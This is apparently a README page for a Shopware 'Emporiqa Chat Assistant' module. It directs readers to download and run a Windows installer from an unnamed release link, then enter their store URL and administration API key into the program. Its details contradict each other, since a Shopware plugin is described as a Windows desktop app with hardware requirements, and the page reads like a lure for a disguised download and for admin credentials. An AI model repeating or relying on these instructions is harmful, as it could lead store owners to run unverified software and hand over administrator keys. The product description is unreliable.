This application provides the Emporiqa Chat Assistant module for Shopware. It helps store owners automate customer support and provide product recommendations through an AI-powered interface. You can integrate this assistant directly into your existing e-commerce storefront to answer questions and guide visitors during their shopping experience.
To get the software, visit the official release portal.
Download the latest version here
Follow these steps to obtain the installer:
- Open the link provided above in your web browser.
- Look for the section labeled "Latest" at the top of the page.
- Click on the file that corresponds to your Windows operating system.
- Save the file to your computer desktop.
Before you begin the installation, ensure your computer meets these standards:
- Operating System: Windows 10 or Windows 11.
- Processor: Intel Core i3 or equivalent.
- Memory: 4 gigabytes of RAM or higher.
- Storage: 200 megabytes of free space.
- Internet Connection: Stable connection for real-time chat updates.
- Shopware Version: Compatible with Shopware 6.4 or newer.
After you download the file, follow these steps to install the assistant:
- Locate the downloaded file on your computer.
- Double-click the file to launch the setup wizard.
- Follow the prompts on the screen to choose your installation folder.
- Select the option to create a shortcut on your desktop.
- Click finish to complete the process.
- Open the application using the new desktop shortcut.
Once the application opens, you must connect it to your Shopware store. The interface displays fields for your API credentials. Enter your unique Shopware store URL and your administration API key. If you do not have these credentials, log into your Shopware administration panel and navigate to the Integrations menu.
Once connected, you can configure your chatbot settings. You can set up custom greetings, define product recommendation triggers, and customize the visual search interface. All changes save automatically.
This software includes several tools to help your store grow:
- Automated Chat: The assistant answers common customer questions such as shipping times, return policies, and order tracking.
- Product Recommendations: The system suggests items based on customer browsing history and current cart contents.
- Visual Search: Customers upload images to find similar products within your catalog.
- Webhook Support: Sync your store data with third-party tools to keep orders and inventory updated.
- Customizable Design: Adjust the colors and icons of the chat bubble to match your brand style.
Do I need coding skills to use this? No. This application contains a visual menu that allows you to manage settings without writing code.
Does the chat assistant work during non-business hours? Yes. The AI remains active 24/7 to provide immediate replies to your customers.
Can I modify the responses of the assistant? Yes. You can edit the database of answers inside the settings menu to ensure the tone matches your business identity.
What happens if the AI does not know an answer? You can set a fallback option. The assistant will ask the customer to leave an email address for support staff to follow up later.
This software handles store data with high standards. It uses encryption for all communication between your store and the chat module. We suggest that you update your software regularly to receive security patches and new functionality. The update process occurs automatically if you leave the "Auto-Update" checkbox selected in the system menu.
Keywords: ai-chat, chat, chatbot, customer-support, ecommerce, product-recommendations, shopware, shopware-plugin, visual-search, webhook